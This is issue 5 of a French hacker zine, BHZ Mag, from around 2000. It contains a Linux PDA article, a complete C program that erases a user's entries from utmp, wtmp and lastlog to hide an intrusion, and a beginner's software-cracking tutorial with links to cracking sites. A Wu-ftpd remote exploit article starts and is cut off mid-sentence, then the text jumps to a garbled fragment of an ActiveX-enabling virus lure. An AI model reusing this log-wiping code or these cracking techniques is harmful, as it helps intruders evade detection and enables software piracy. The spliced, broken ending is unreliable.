œœœœœœ õõõõõõ**** 55555555555 ** ************** 555 **|********* ** ** ************* 55 ** œœœœœ *** *** ** 666 * ___ 555 *|* ** *** ** 666 * / ) 55 5555 5 5 *| * ** ** ** ** ! ) 55555 5 5 55 5 *|* * ** ** ££££££** ÝÝ 999999 (___) 55 **|*********** **66666* ** ÝÝ ** 555 $$|* ** **6666** ** ÝÝ ** 55 *|* * ** ** ** ÝÝ ** 55 *|** ** ** ** ** ÝÝ ** 55 */* ******** *** ** ** 55 555 $$$$$$$ BHZ *** !!!!!!!!!!!!! 55 555 * ----- **** The Belgian Hackers Zone !!! BHZ Mag n0 5 !!! Dej… le 5eme numero de ce zine. Bon, ce cinquieme numero est l'occasion de vous presenter les nouveaux membres : Deepthroat (teknocide@hotmail.com), Sexywax (mulphex78@hotmail.com) il y a aussi Grim@ qui n'est pas membre mais qui ecrit des articles pour le zine. Visitez le site du BHZ : http://www.thebhz.org http://www.bhz.be.tf Si vous lisez ceci c'est que vous avez telecharge ce zine sur madchat. C'est une version censuree, afin de lire la version originale de BHZ Mag n°5, rendez vous sur le site du BHZ (http://www.thebhz.org) ou sur un des autres sites qui distribuent BHZ Mag. Voici la repartition (plus ou moins) des taches au BHZ : Asmodeus : hacking, phreaking, linux, etc... asmodeus@mail.be Deepthroat : bombes, pieges, explosifs, armes, etc... teknocide@hotmail.com Flat Eric : piquer la copine d'Asmodeus..., glander, s'amuser avec son commodore 64,... Flat_eric@moncourrier.com Greven : glander, un peu de html, un peu de gfx... il change tt le temps d'email... Sexywax : cracking, programation, gfx,etc... mulphex78@hotmail.com Grim@ : cracking grima@hotmail.com <<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>> 1.Linux sur les machines de poche [ by Asmodeus ] ********************************* 2.Comment effacer ses traces des logs ? [ by Asmodeus ] *************************************** 3.Tutorial sur le cracking [ by Grim@ ] *************************** 4.Exploit à distance de Wu-ftpd [ by Asmodeus ] ******************************* 5.Le CCU (Computer Crime Unit) [ by Asmodeus ] ****************************** 6.Les petites recettes maisons [ by Deepthroat ] ****************************** 7.Le virus I LOVE YOU [ by Asmodeus ] ********************* 8.Hack de carmail version 4 [ by Asmodeus ] *************************** 9.S'amuser avec les abonnements Tempo (Mobistar) [ by Asmodeus ] ************************************************ 10.S'amuser à la maison [ by Asmodeus ] *********************** ************************************* * 1.Linux sur les machines de poche * ************************************* L'annee 2OOO serait-elle l'annee LinuX pour les machines de poche ? De plus en plus de constructeurs se tournent vers le pingouin... Le YOPI ------- Samsung : le constructeur coreen est sur le point de mettre sur le marche un PDA de type "palm ardoise" dont la particularite est de tourner sous Linux : le Yopi. Y'a dejà pas mal d'applications prevues pour cette machine qui tourne sous ARM Linux : lecteur MP3, jeux, email, navigateur, etc... Le YOPI a un ecran de 4 pouces pour une resolution de 240x320 en 65536 couleurs. le processeur est cadence à 206 Mhz ce qui permet d'avoir des programmes assez interessants. Le YOPI permet de regarder des films et de surfer sur internet en couleurs et avec du son stereo. Il a un port CompactFlash qui est le standard le plus repandu sur les machines de poche. Il peut transmettre des informations via le port infrarouge (IrDA) à 4 Mbps. Il permet l'enregistrement de messages avec son micro integre. Le dock du YOPI peut se connecter via le port USB au PC. Il utilise la reconnaissance d'ecriture et le stylet pour naviguer dans l'OS et les differentes applications. Il dispose aussi d'un mode alarme/vibreur. L'ecran est un ecran TFT à cristaux liquides. Il dispose de 32 Mo de RAM et de 32 ou 64 Mo de memoire Flash. Il permet la synchronisation via le PC ou via internet. Il peut d'ailleurs se connecter sur internet avec un telephone mobile ou un modem normal. Il existe aussi en option une camera et un tuner pour regarder la TV. Il pese 225 grammes et ses dimensions en cm sont de 12.88 (hauteur) x 8.35 (largeur) x 1.99 (profondeur). Le YOPI permet donc de surfer sur internet, regarder la TV, prendre des photos (camera), regarder les photos prises avec un appareil digital (port CompactFlash type II). On peut le synchroniser soit via le port USB ou le port serie soit via Internet. Il utilise des batteries Li-on 1400mAh. Le YOPI permet la mise à niveau de l'OS facilement et gratuitement (puisque base sur Linux). Le YOPI devrait sortir vers la fin du premier semestre 2000 aux Etats-Unis mais il n'y a pas encore de dates annoncees pour l'Europe... Linux à la place de Windows CE ?? --------------------------------- On connaissait dejà les projets visants à porter Linux sur des machines fonctionnant sous PalmOS (Palm) ou EPOC (Psion). Un projet plus original de porgtage de Linux sur les machines utilsant windoze CE est en cours. Les palmtops cibles sont entre autre les casio cassiopeia E-105, Compaq Aero, Philips Nino, Everex Freestyle et toutes les machines equipees de processeur StrongArm. Les efforts des devellopeurs se sont concentres au depart sur la sequence de demarrage qui charge le noyau de Linux. Il leur faut maintenant aborder des developpements complementaires telle la "nanogui", interface utilisateur adaptee au ecrans des PalmTops, derivee de XWindows. Les machines à clavier sont celles ou une interface de saisie reste la plus simple à mettre en oeuvre. Les PDA pilotes par reconnaissance de l'ecriture necessitent un travail beaucoup plus complexe, puisqu'il faut tout simplement developper une nouvelle methode de saisie des donnees. Les projet Microwindows et Nano-GUI ----------------------------------- Microwindows est un projet Open Source visant à porter les specificites d'une interface graphique et d'un systeme moderne sur des machines de poche. Microwindows permet aux applications d'etre crees et testes sur un systeme Linux et la source doit etre recompilee en partie pour le portage sur la machine de poche. microwindows a ete cree en meme temps que le projet Nano-GUI. L'implemantation de l'API Win32/WinCE se fait avec Microwindows et l'implemantation de l'API Xlib se fait avec Nano-X. La derniere version (la 0.88pre6) supporte GDK/GTK+, opera, Kaffe et FLTK (fast Light Tool Kit (C++) ). Il supporte aussi les polices TrueType et Adobe T1. grace aux drivers mis à la disposition des developpeurs, une machine avec un ecran de 3 x 5 pouces LCD peut avoir une resolution de 640 x 480. Microwindows comporte aussi l'alphablending (comme Win 2000 et Mac OS X) personnellement je trouve que ca ne sert à rien mais les developpeurs avaient envie de le mettre parce qu'ils trouvaient ca joli... Comme c'est encore en cours de developpement, il n'y a que peu de programmes (lecteurs de ficheirs JPG et BMP, demineur, navigateur web (Opera), etc...) La console est identique à celle de n'importe quel systeme Linux. Pour plus d'infos : http://www.microwindows.censoft.com Le projet DinX -------------- DinX est une interface graphique experimentale, concu pour etre simple, leger et rapide, de facon à ce qu'il puisse etre porte sur des petits sytemes, comme des machines de poche. DinX est soumis à la Mozilla Public License avec une option pour le convertir en GPL. C'est parce que le kernel de DinX peut eventuellement etre base sur une distribution Linux et donc les librairies de DinX pourraient etre en rapport avec d'autres produits GPL. DinX utilise le driver frame buffer video du kernel de Linux et y ajoute /dev/dinxsvr et /dev/dinxwin. Un programme peut se connecter à /dev/dinxwin et changer la place d'une fenetre sur l'ecran. Il envoie aussi des evenements comme les mouvements de la souris. ******************************************* * 2.Comment effacer ses traces des logs ? * ******************************************* <<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>> Si vous avez eu acces … un ordi et que vous avez fait des changements, voici commet effacer les traces... Il faut editer les fichier /etc/utmp, /user/adm/wtmp et /user/adm/lastlog mais vous ne pouvez pas les editer avec un editeur normal comme VI il faut un programme special comme celui-ci : <---couper ici---> #include #include #include #include #include #include #include #include #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } <---couper ici---> *************************************** * 3.Tutorial sur le cracking by Grim@ * *************************************** <<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>> Poetry Scene Ils sont la, parmi nous... ils nous observent et ils nous jugent... Mais vous aussi vous jugez et condamnez Vous considérez ces gens comme des rebus des branches a élaguer, des exclus... Jours après jours, vous les damnez années après années, vous les combattez mais sans cesse renaissant, toujours battant, ils réapparaissent, chevalier ardent ! Ils sont la, parmi nous... ils nous observent et ils nous jugent... Vous croyez les voir, les connaître, votre esprit les guette et les pénètre mais jamais, au grand jamais vous ne pourrez les reconnaître... Car ils se cachent, et prospèrent en chacun de nous, au fond de l'être ado passionné, étudiant branché, ingénieur fortuné, quelqu'un avec des idées Toujours prêts, en latence Cette petite graine prête à germer.... Ils sont la, parmi nous... ils nous observent et ils nous jugent... Vous les voyez, sales et dégouttants, camés et dangereux, Mais tournez vous et regardez... Le reste de notre société, est-il différent ? les chômeurs, les sans-papiers, les pdg et les gros bonnets l'extrême droite et les beauf, les réacs et les néons mauve ! Ils sont la, parmi nous... ils nous observent et ils nous jugent... On prononce leurs noms et vous crachez, mais tous au fond, vous les jalousez secrètement, ils vous passionnent, secrètement, ils sont idoles... Pauvre est le Lamer, pauvre et déseuvré, criant haut et fort qu'il en est... Ils sont la, parmi nous... ils nous observent et ils nous jugent... Je ne suis qu'un NewBie, apprenant, patiemment les ficelles du métier mais de mes sentiments je ne me cache pas, je renie la société, l'autorité l'élite est mon Dieu, l'information et le savoir ma nourriture L'ungerground est le garde-fous de la société, le reste n'est que pourriture Je puis plus vous expliquer, J'ai choisi, c'est la ma destinée.... GrIm@ l'Apprenti s0rcier -µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ- - «««««««« ¡ Underground Production ¡ »»»»»»» - - LES NEWBIES D'AUJOURD'HUI SONT LES 3L33T3 DE DEMAIN -µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ-µ- <------------------------------TAILLE IDEALE,800x6000---------------------------------------> 0000011110001111100010001001000010001000100000000101100001100100100111001000100001000010000111111000010000100001110000100011000011110000000 CRACKING_BEGINNER n°01 by GRIm@, L'Apprenti Sorcier INTRO: £££££ Salut à tous, moi c'est GRIm@, et aujourd'hui on vas parler un peux de cracking, ... Ce cour est le premier d'un longue série, qui je l'espére vous sera utile. Si j'ai décidé d'écrire ces tuts, ce n'est non pas par manque de tuts accesible pour les newbies, mais plutot parceque je trouvais que beaucoup d'entre-eux étais, si non pas clair, assez court et trop succint. Je vais donc ici tenter de commencer par le début, mais d'abborder beaucoup d'exemple et de situation compléte, puis, peux à peux, augmenter le niveau. Je ne suis pas spécialement un 3l33t3, donc il est certain que des erreurs ou des imprécision ont pus se glisser dans les tuts. Si vous avez des commentaires, n'hésiter pas à m'en faire part à grima@hotmail.com (insultes, remerciements, réflexion, demande,...). Si vous êtes déjà un Cracker inutile de lire les premiers tuts, il seront vraiment trop simple pour vous, et si vous êtes une 3l33t3 alors passez carémment votre chemin ;-). Bon voilà, bref on y vas ! 0) Le cracking, c'est koi ?: ££££££££££££££££££££££££££££ Bon, je vais essayer de vous donner tout d'abord un sorte de définition personelle du cracking (personelle, donc subjective). Le Cracking, c'est tout d'abord une branche trés active de la scene underground (francophone et autres), c'est cette branche qui permet à tout un chaqu'un d'utiliser des programmes non-acheté (CD-Grabbés, et Crack). Mais le Cracking, ce n'est vraiment pas que ca, le Cracking, c'est aussi et surtout une sorte de jeux de programmation entre le programmeur et le cracker. Le Cracking pourrait être résumé par "L'Art de détourner un programme de son fonctionnement normal", bien que cette définition englobe aussi le Reverse-Engineering qui lui est le rajout de fonction non-prévue à un programme. Le Cracker prend souvent un malin plaisir à réussir à battre le programmeur sur son terrain, en modifiant le plus souvent les programmes demos et sharewares de sorte qu'ils fonctionnent de façon optimale. Un bon cracker est (je pense) surement programmeur dans l'âme, mais cette activitée est ouverte à tous, connaisseurs comme non-initié. Finalement, le Cracking apporte aussi une connaissance aprofondie de la maniére dont fonctionne un ordinateur et les programmes qui tourne dessus (OS et Prog). Pour conclure, je citerais un certain TaMaMBolo (une 3l33t3 qui sort DrapeauNOIr): "Linux WiNNer, Bye Bye Cracker"... ;-) 1) Le cracking comment ca marche ? Premiére basse: ££££££££££££££££££££££££££££££££££££££££££££££££££ Bon, tout d'abord, il faut que je vous dise que le cracking, c'est comme en Hack ou en Phreak, y'a pas de solutions miracle ! il faut apprendre des trucs, les retenir et les appliquer, mais chaqu'un garde sa façon de travailler... Autrefois (y'a pas si longtemps rassurez-vous), il y avait surtout 2 façon principale pour le cracking, mais aujourd'hui, face à la proffusion des systéme de sécurité (Multi-Checksum, VBox, RSAgent, Encryption et Compression), il faut presque absolument utiliser les deux en combinaisons. Ce sera le but des prochains chapitres que de vous apprendre ces différentes teknik. Bon, commencons, je suppose que vous avez déjà tous essayer d'ouvrir un programme (exe ou com) avec un éditeur de texte (style edit ou m$Wordpad...), et qu'avez vous vu ? Ben oui, une série de caractére illogique et incompréhensible pour l'être humain normalement constitué ! Vous vous êtes surement dit que le programmes étais fait spécialement, et qu'ils étaient crypté ou compressé, ou tout autre truc trés spécial. Hé bien en fait c'est faux, les programmes sont tout à fait en clair, mais seulement, il utilise non pas la base 10 (notre systéme de compte habituel formé de dix chiffres, 0,1,2,3,4,5,6,7,8,9) mais la base 16 aussi apelée Hexadécimale (base 10 = décimal). L'Hexadécimal est un des fondement du cracking, celui qui veut s'y lancer doit absolument le comprendre (c'est pas trés compliqué faut avouer). En fait, l'Hexadécimal n'est pasque réservé au cracking, presque tous le systéme d'un ordinateur PC (je sais pas pour les autres) est basé sur se systéme (Bien sur, pour le processeur tout est transformé en Binaire, mais l'Hexadécimal représente une bonne alternative pour la compréhension entre humain et ordi.). Nous reviendrons à l'HexaDécimal plus tard, et plus en détails. Une autre composantes indispensable et qui vas de pair avec l'Hexa et l'Assembleur, le sacro-saint language qui effraie tellement les newbies. En fait, l'Assembleur est le language dans lequel sont transformés tous les programmes aprés leur écriture dans d'autre language (C/C++, Delphi, Visual Basic,...). Pour m'exprimmer plus clairement, quand vous écrivez par exemple un programme en C++, ensuite vous le compilez, et là, le compilateur se charge de "traduire" votre programme en Asm (Asm = Assembleur, et Hexa = Hexadécimal, notez qu'un nombre hexadécimal se note aussi par exemple pour 9: 9h). Comme tous language, l'Asm est composé d'instructions (nous y reviendrons aussi) qui sont écrite directement en Hexadécimal. Bien sûr, il existe une "traduction" en language compréhensible pour l'homme. L'Assembleur est directement interprété par le processeur, il lui suffit donc de traduire des nombres en Hexadécimal en Binaire et l'inverse. Tout le boulot d'un cracker sera justement d'aller modifier ces instructions assembleur pour que le programme fonctionne comme on l'entend. Pour ce faire, et comme je le disais tantot, il existe de nombreux outils et de nobreuses techniques sur lesquelles nous reviendront en détails, promis ! 2) Le Cracking m'apprend des choses sur mon ordi ! ££££££££££££££££££££££££££££££££££££££££££££££££££ 2.1) L'Hexadecimal µµµµµµµµµµµµµµµµµµ Bon, nous allons revenir un peux plus en détails sur ce fameux systéme de comptage qu'est l'Hexadecimal, vous aller le voir c'est pas compliqué. L'Hexa est donc un systéme pour compter comprenant 16 chiffre (au lieu de 10 dans notre systéme décimal), ceux-ci sont: 0,1,2,3,4,5,6,7,8,9,A,B,C,D,E,F. Vous voyez donc que l'on a introduis des lettres dans le systéme pour avoir nos 16 chiffres. En gros, A=10, B=11,... et F=15, c'est donc assez simple et pas trés compliqué (j'me répete la non ?). Mais attenttion, il faut jamais oublié que par exemple 10h (10 en Hexa) n'est pas du tout égal à 10 en décimal, en effet, 10h=16. Sinon, je vous fait confiance, vous deviez être assez intelligent pour arriver à compter non ? 2.2) L'Assembleur µµµµµµµµµµµµµµµµµ Bon, on vas attaquer maintenant un autre chapitre disons un peu plus compliqué, mais pas d'inquiétude, pas tellement... Mais avant de commencer, je voudrais vous dire qu'ici je n'expliquerais que quelque base d'Assembleur (ou ce qui nous est nécessaire dans notre lutte), pour trouver de vrai cour d'Assembleur, chercher sur le net (Je vous reccomande l'excellent tut de Falcon sur le sujet dans "La Bible du Cracker", 187Ko). Bon, on vas comemncer, non ?! Comme tout language de programmation, l'ASM est composé d'instruction qui permettent d'effectuer des actions, mais comme ce language est trés prés du systéme, il est possible d'utiliser de nombreuse fonction de celui-ci. Mais Voyons tout d'abord quelque instrucions: -mov -jmp -jne/je/j* -cmp -test -sub/add -call & ret Bon, regardons les dans l'ordre, mov permet de déplacer une valeur, ou plutot d'assigner à une mémoire une valeur quelconque. Ex: mov eax, 00000012. Ici je place dans eax (on verra aprés ce que c'est, disons pour l'instant que c'est une sorte de variable) une valeur, ici 12h. Vous avez surement remarqué qu'on la disposition spéciale: "mov variable, valeur", il est donc tout à fait interdit de faire ceci: "mov 00000012, eax", puisqu'ici on assigne comme variable une valeur fixe (pour mieux dire, on ne peut affecter la valeur de eax à 12h puisqu'il ne s'agit pas d'une zone de la mémoire (une variable) mais une valeur fixe). Ensuite, jmp, quant à elle sert à faire un "jump", c'est à dire à sauter. En effet, l'Asm (=assembleur) est exécuté ligne par ligne (programmation linéaire != programmation événementielle ou programmation objet), et donc si l'on veut passer à une autre ligne que la suivante, il faut absolument en sauter certaine, d'ou le nom de "jump". Ex: "jmp 00405689". Ici, le programme vas sauter à la ligne 00405689 et ce quelque soit l'endroit ou on est. Les différent saut logique (c'est leur nom) tel que "je", "jne",... permettent quant à eux de sauter à une ligne uniquement si une condition est remplie. Ex: "jne 00405689". Jne signifie Jump if Not Equal, et Je Jump if Equal... Les deux instructions suivantes, test et cmp permettent quant à elle de justement spécifier une condition. Ex: -test eax, eax /* eax = 0 ? je 00405689 /* si oui saute, si non saute pas -cmp eax, 00000000 /* eax = 0 ? jne 0045689 /* saute si eax != 0 Avouez que c'est pas trés compliqué quand même non ? Les deux instruciotn suivantes, sub et add sont des opération mathématique; sub est une soustraction et add une addition. Ex: -sub eax, 00000008 /* retire 8 à eax, ou eax = eax - 8 -add eax, 00000007 /* ajoute 7 à eax, ou eax = eax + 7 Maintenant, l'instruction call, celle-ci permet comme un jmp d'aller sur des lignes de code spécifiées, mais en plus, de pouvoir revenir sur la ligne suivant le call en utilsant la comande ret. Ex: call 00405689. Bref, cette instruction permet à votre programme de faire des sortes de fonction... Bon, avec tout ca, vous pouvez déjà nous composer un joli petit prog non ? On va essayer: ... call 00405689 sub eax, 0000002 cmp eax, 0000001 je 00405874 jmp 00405872 ... En gros ici, on apelle une fonction qui vas mettre une valeur dans eax, puis on enléve 2 à eax, ensuite on regarde si eax = 1 et si c'est le cas on saute plus loin, par contre si ca n'est pas le cas, le jmp nous permettra d'aller 2 lignes juste avant celle ou nous aurions dus arriver si eax avait égaler 3 à la sortie de la fonction (vous me suivez toujours ?Soyez sur de comprendre, c'est vraiment la base base base...). Bon aller, on vas arreter l'Assembleur pour le moment, mais soyez sur de bien comprendre, le reste on le verra au fur et à mesure qu'on avancera. 3) De quoi j'ai Besoin ? ££££££££££££££££££££££££ -D'un cervau: Trés important ici, puisque le but c'est d'être plus intelligent que le prgrammeur. -De Temps: Hé oui, cracker ca prend parfois du temps (surtout au début) alors si vous avez des devoirs, faite-les en priorités.... ;-) -D'une conscience: heu... la je suis pas sûr !! -D'un Ordi (la bonne blague) de préférence avec Windob... (LiNuX WiNnEr) -De programmes: Veille-toi à te munir des pas mal de prog, ca sert toujours... Parmis les indispensables: WDasm 8.93, SoftIce (je crois que c'est la version 5), HView, calculette et convertisseur Hexa. Les Utiles: FileMon et RegMon, Un décompilateur VB (Dodi's vb discompiler), ProcDump, PeSniffer 1.6, Frog's Ice, Une doc compléte sur les API de Windobe, un PatchMaker pour distribuer ses propre Crack, Plein de Doc sur l'Asm et la coresspondance Hexa, ... Les "J'men sert Parfois": Un décompilateur Java (JAB) et Delphi (EXE2DPR), un éditeur de resource (Borland Ressource WorkShop, Restorator,...), un Comparateur de Fichier, Différent prog ayant une utilité trés ciblée (décompresseur, décrypteur, ...) ... Vous pouvez tout trouver sur le net, cherchez sur les sites de cracking, ou http://astalavista.box.sk -De Cible: Ca y'a pas de probléme, le net ou les CD regorge de programmes Shareware.... Je Crois que c'est à peux prés tout, mais il se peut que ma mémoire défaille... ;-) #) Out ££££££ Bon allez, je Crois que ca doit suffire pour Aujourd'hui non ? Mais ne vous inquiétez pas, le n°2 vas surement bientot sortir aussi (déjà au sommaire: WDAsm, une liste d'instruction, etc...). Sinon, rien que pour vous je vous file une liste de site parlant de Cracking avec des groupes francophone assez actif: http://zone14.cjb.net [Zone 14], C'est mon groupe =-) (pub, spam ;-) http://tamambolo.free.fr/" TaMamBoLo (DrapeauNoir) http://mainrouge.cjb.net/ La Main Rouge http://www.geocities.com/Paris/6770/IRIP/ IRIP Center of Cracking http://crackfr.cjb.net/ crackfr.com #CRACK.FR UNDERNET http://www.citeweb.net/atpteam/ ATP TEAM !! http://reverserlinks.cjb.net/ Reverser's links http://astalavista.box.sk/ ASTALAVISTA, LE moteur de recherche de crack #EOF CRACKING_BEGINNER n°01 06-04-2000 *********************************** * 4.Exploit à distance de Wu-ftpd * *********************************** <<<--->>> On ne vous incite en aucun ca à faire quoi que ce soit suite à la lecture de ces articles. Consultez les dans un but informatif uniquement. Nous ne pourrions en aucun cas etre tenus responsables de vos actes suite à la lecture de ce zine <<<--->>> Wu-ftpd remote exploit (pour la version wu-2.4.2-academ[BETA-18](1) ) Pour Linux x86 (Redhat 5.2). Pour exploiter ceci à distance, vous devez avoir un repertoire où vous pouvez ecrire des privileges, c'est l'argument
This HTML file need ActiveX Control-?p>
To Enable to read this HTML file
- Please press #-#YES#-# button to Enable ActiveX-?p>"&vbcrlf& _
"-?CENTER>